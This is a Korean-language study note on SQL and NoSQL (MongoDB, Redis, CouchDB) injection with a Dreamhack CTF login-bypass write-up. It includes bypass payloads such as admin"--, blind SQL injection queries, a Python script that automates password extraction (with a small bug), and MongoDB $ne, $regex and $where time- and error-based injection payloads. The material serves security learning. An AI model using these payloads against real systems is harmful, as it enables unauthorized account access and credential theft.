db에 데이터를 기록, 수정, 삭제하는 역할
다수의 사람이 동시에 db에 접근 가능
복잡한 요구사항을 만족하는 데이터 조회 가능
RDBMS 데이터 정의, 질의, 수정하기 위해 고안된 언어
구조화된 형태를 가지는 언어, 웹 애플리케이션이 DBMS와 상호작용할 때 사용
데이터 정의하기 위한 언어
db의 생성/수정/삭제
CREATE DATABASE school; //테이블 생성
USE school;
CREATE TABLE Student(
idx INT AUTO_INCREMENT,
name VARCHAR(100) NOT NULL,
callnumber VARCHAR(2000) NOT NULL,
PRIMARY KEY(idx)
);
데이터 조작하기 위한 언어
db 내 데이터에 대해 조회/저장/수정/삭제
INSERT INTO Student(name, callnumber, createdDate) Values('ooo' ,'010-1234-5678', Now());
SELECT name, callnumber FROM Student Where idx=1;
UPDATE Student SET callnumber='010-9876-5432' Where idx=1;
데이터베이스의 접근 권한 설정을 위한 언어
이용자 권한 부여-grant, 권한 박탈-revoke
이용자의 입력을 SQL 구문에 포함해 요청하는 경우 발생 가능
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
//accounts라는 테이블에서 user_id가 dreamhack이고, user_pw가 password인 모든 정보 조회
SELECT * FROM accounts WHERE user_id='admin'
accounts라는 테이블에서 user_id가 dreamhack인 모든 정보 조회
->admin계정의 비밀번호를 비교하지 않고 계정 정보 반환
스무고개 게임과 유사
dbms가 답변 가능한 형태로 질문하며 알아내기
질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터 획득하는 공격 기법
전달된 문자를 아스키 형태로 반환하는 함수
ascii('a') 실행하면 97 반환
문자열에서 지정한 위치부터 길이까지의 값 가져옴
substr('ABCD', 1, 1) = 'A'
substr('ABCD', 1, 3) = 'ABC'
substr('ABCD', 2, 2) = 'BC'
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True
공격을 자동화하는 스크립트
파이썬 requests 모듈 -> 메소드를 통한 HTTP 요청 가능
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
'test': 1,
}
for i in range(1, 5):
c = requests.get(url + str(i), headers=headers, params=params)
print(c.request.url)
print(c.text)
#get 메소드 통신 !
#URL과 Header, Parameter와 함께 요청을 전송 가능
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
'test': 1,
}
for i in range(1, 5):
c = requests.post(url + str(i), headers=headers, data=data)
print(c.text)
#POST 메소드 통신 !
#URL과 Header, Body와 함께 요청을 전송 가능
알파벳, 숫자, 특수 문자 아스키 범위: 32~126
#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
'uid': '',
'upw': ''
}
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
tc = string.ascii_letters + string.digits + string.punctuation
# 사용할 SQL Injection 쿼리
# ascii_letters: 모든 알파벳 문자 포함
# digits: 모든 숫자 포함
# punctuation: 특수 문자 포함
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
for ch in tc:
# query를 이용하여 Blind SQL Injection 시도
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
#strip: \n 제거 -> 개행 문자 포함되면 쿼리가 정상적으로 동작하지 않을 수 있기 때문
#ord: ch값을 아스키코드로 변환
c = requests.get(url, params=params)
print(c.request.url)
# 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
if c.text.find("Login success") != -1:
password += chr(ch)
break
print(f"Password is {password}")
#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open('./flag.txt', 'r').read()
# flag.txt를 읽기 모드로 열기
except:
FLAG = '[**FLAG**]'
DATABASE = "database.db"
# database.db가 DATABASE
if os.path.exists(DATABASE) == False:
# DATABASE가 존재하지 않으면 연결
db = sqlite3.connect(DATABASE)
# sqlite3.connect로 데이터베이스를 나타내는 connetion 객체 만들기
db.execute('create table users(userid char(100), userpassword char(100));')
# execute: 단일 sql문 실행
# users라는 테이블 생성, 테이블에는 userid가 char로, userpassword가 char로 들어갈 것임
db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
# db의 userid, userpassword에 guest:guest 넣기
# binascii.hexlify(): 16진수 문자열로 변환한 원래의 문자열 값 얻을 수 o , 인수는 바이트 문자열
# admin의 userpassword는 랜덤 16바이트 문자열을 Hex 형태로 표현 (32바이트)
db.commit()
# commit(): 모든 작업 정상적으로 처리하겠다고 확정
db.close()
# close(): 열었던 파일 닫기
def get_db():
# get_db() 함수 정의
db = getattr(g, '_database', None)
# getattr(object, attribute, default) : object 안의 attribute라는 멤버 반환, 속성이 없는 경우 default 반환
if db is None:
#db의 속성이 없는 경우
db = g._database = sqlite3.connect(DATABASE)
# DATABASE 연결
db.row_factory = sqlite3.Row
return db
def query_db(query, one=True):
# query_db 함수 생성
cur = get_db().execute(query)
#get_db()함수 실행,
rv = cur.fetchall()
# fetchall(): 레코드를 배열형식으로 저장
cur.close()
return (rv[0] if rv else None) if one else rv
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userid = request.form.get('userid')
userpassword = request.form.get('userpassword')
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
if res:
userid = res[0]
if userid == 'admin':
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'
app.run(host='0.0.0.0', port=8000)
guest:guest로 로그인하면
경고창에서 hello guest라고 환영해준다.
select * from users where userid="{userid}" and userpassword="{userpassword}"
이것이 sql query문이므로
userid에는 admin을 넣고
userpassword만 우회하면 될 듯 하다.
userid에 admin"을 넣고 --주석처리를 해준 후, 비밀번호는 아무거나 검색해주었다.
userid: admin"--
password: 아무거나
그랬더니

잘 출력되었다.
select * from users where userid="admin"--""and userpassword="1234"
이밖에도 많은 방법이 있었는데,
userid:admin"or"1
userpassword: 1234
userid:admin
userpassword: 1234" or userid="admin
등이 있다고 한다.
결론은 주석처리나 or을 이용해서 문제를 해결할 수 있다.
비관계형 데이터베이스
복잡하지 않은 데이터를 저장해 단순 검색 및 추가 검색 작업을 위해 매우 최적화된 저장 공간이 특징
키-값을 사용해 데이터를 저장
JSON 형태인 도큐먼트 저장
JSON: JavaScript Object Notation
데이터를 저장or 전송할 때 사용
특징 1. 스키마 따로 정의 x, 각 컬렉션에 대한 정의가 필요하지 x
특징 2. JSON 형식으로 쿼리를 작성할 수 o
특징 3. _id 필드가 primary Key 역할을 함
db.inventory.find( { $and: [ { status: "A" }, { qty: { $lt: 30 } } ] } )
Comparison
in: 배열 안의 값들과 일치하는 값을 찾기 (in)
nin: 배열 안의 값들과 일치하지 않는 값을 찾습니다. (not in)
Logical
not: 쿼리 식의 효과를 반전시킴. 쿼리 식과 일치하지 않는 문서를 반환
or: 논리적 OR, 각각의 쿼리 중 하나 이상 만족하는 문서가 반환
Element
type: 지정된 필드가 지정된 유형인 문서를 선택
Evaluation
regex: 지정된 정규식과 일치하는 문서를 선택
$text: 지정된 텍스트를 검색
SELECT * FROM account;
db.account.find()
SELECT * FROM account WHERE user_id="admin";
db.account.find({user_id: "admin"})
db.account.find({user_id:
"admin"})
SELECT user_idx FROM account WHERE user_id="admin";
db.account.find({ user_id: "admin" },{ user_idx:1, _id:0 })
-INSERT
INSERT INTO account(user_id,user_pw,) VALUES ("guest", "guest");
db.account.insert({user_id: "guest",user_pw: "guest"})
-DELETE
DELETE FROM account;
db.account.remove()
DELETE FROM account WHERE user_id="guest";
db.account.remove( {user_id: "guest"} )
-UPDATE
UPDATE account SET user_id="guest2" WHERE user_idx=2;
db.account.update({user_idx: 2},{ $set: { user_id: "guest2" } })
키-값의 쌍을 가진 데이터 저장
메모리 기반의 DBMS ->메모리를 사용해 데이터를 저장하고 접근하기 때문에 읽고 쓰는 작업을 다른 DBMS보다 훨씬 빠르게 수행->임시 데이터를 캐싱하는 용도로 주로 사용
데이터 조회 및 조작 명령어
GET | GET key | 데이터 조회
MGET | MGET key [key ...] | 여러 데이터를 조회
SET | SET key value | 새로운 데이터 추가
MSET |MSET key value [key value ...] | 여러 데이터를 추가
DEL | DEL key [key ...] | 데이터 삭제
EXISTS | EXISTS key [key ...] | 데이터 유무 확인
INCR | INCR key | 데이터 값에 1 더함
DECR | DECR key | 데이터 값에 1 뺌
관리 명령어
INFO | INFO [section] |DBMS 정보 조회
CONFIG GET | CONFIG GET parameter | 설정 조회
CONFIG SET | CONFIG SET parameter value | 새로운 설정을 입력
JSON 형태인 도큐먼트 저장
웹 기반의 DBMS, REST API 형식으로 요청 처리
POST: 새로운 레코드를 추가
GET: 레코드를 조회
PUT: 레코드를 업데이트
DELETE: 레코드를 삭제
특수 구성 요소
_문자로 시작하는 URL, 필드
SERVER
/: 인스턴스에 대한 메타 정보 반환
/_all_dbs: 인스턴스의 데이터베이스 목록 반환
/_utils: 관리자페이지로 이동
Database
/db: 지정된 데이터베이스에 대한 정보를 반환
/{db}/_all_docs: 지정된 데이터베이스에 포함된 모든 도큐먼트를 반환
/{db}/_find: 지정된 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트를 반환
SQL Injection과 공격 목적 및 방법 매우 유사 (이용자의 입력 값이 쿼리에 포함되면서 발생하는 문제점)
->이용자의 입력값에 대한 타임 검증이 불충분할 때 발생
저장하는 데이터의 자료형으로 문자열, 정수, 날짜, 실수, 오브젝트, 배열 타입 사용 가능 (오브젝트 타입의 입력값을 처리할 때 쿼리 연산자 사용 가능->다양한 행위 가능)
//express 데이터 처리 방식
const express = require('express');
//Express 모듈 불러옴 ->웹서버 만들기 위해 사용
const app = express();
//Express 애플리케이션 생성->웹 서버 설정
app.get('/', function(req,res) {
console.log('data:', req.query.data);
//브라우저의 쿼리 매개변수 출력
console.log('type:', typeof req.query.data);
//쿼리 매개변수의 데이터 타입 출력
res.send('hello world');
});
//요청에 대한 응답으로 hello world 문자열 보냄
const server = app.listen(3000, function(){
//서버를 3000포트에서 실행->웹 서버 시작, 브라우저에서 접속하면 라우트 핸들러에 의해 처리된 결과 보여짐
console.log('app.listen');
});
//서버 시작되면 app.listen 출력
//실행결과
http://localhost:3000/?data=1234
data: 1234
type: string
http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object
http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ]
type: object
http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' }
type: object
http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true }
type: object
http://localhost:3000/?data[5678]=1234&data[]=0000
data: { '0': '0000', '5678': '1234' }
type: object
http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' }
type: object
->req.query의 타입이 문자열로 지정되어있지 않아 문자열 외의 타입 입력 가능
const express = require('express');
//Express 모듈로 웹 서버 만들기
const app = express();
//Express 애플리케이션 생성->웹 서버 설정
const mongoose = require('mongoose');
//MongoDB와 Node.js 연결해주는 mongoose 모듈 불러옴
const db = mongoose.connection;
//Mongoose를 통해 MongoDB와 연결된 db 객체 가져옴
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
//Mongodb에 연결, 'mongodb://localhost:27017/'는 MongoDB가 실행 중인 로컬 호스트의 기본 포트에 있는 db에 연결
//user~어쩌고: MongoDB의 새로운 연결 방식을 사용하는 옵션
app.get('/query', function(req,res) {
//get요청을 처리하는 라우트 핸들
db.collection('user').find({
//mongoDB의 user 컬렉션에서 아래 조건에 맞는 문서 조회
'uid': req.query.uid,
'upw': req.query.upw
}).toArray(function(err, result) {
if (err) throw err;
//오류 발생하면 던지기
res.send(result);
//result:조회된 문서들 배열로 가짐 이걸 클라이언트한테 응답으로 보내기
});
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
//연산자 사용해서 계정 정보 알아내기
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
//$ne: not equal
//uid랑 upw가 a가 아니라면~
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
{"uid": "admin", "upw": {"$ne":"a"}}
admin 계정을 얻을 수 o
$regex, $where 연산자 사용해 Blind NoSQL Injection 가능
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
"code" : 17287
}
//where+substring
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
sleep 함수 통한 Time based Injection
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/
표현식이 참을 반환하면 sleep 함수 실행
Error based Injection
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
//비밀번호 길이 획득
{"uid": "admin", "upw": {"$regex":".{5}"}}
=> admin
{"uid": "admin", "upw": {"$regex":".{6}"}}
=> undefined
//비밀번호는 5구나
//비밀번호 획득
{"uid": "admin", "upw": {"$regex":"^a"}}
admin
{"uid": "admin", "upw": {"$regex":"^aa"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ab"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ap"}}
admin
...
{"uid": "admin", "upw": {"$regex":"^apple$"}}
감사합니다. 이런 정보를 나눠주셔서 좋아요.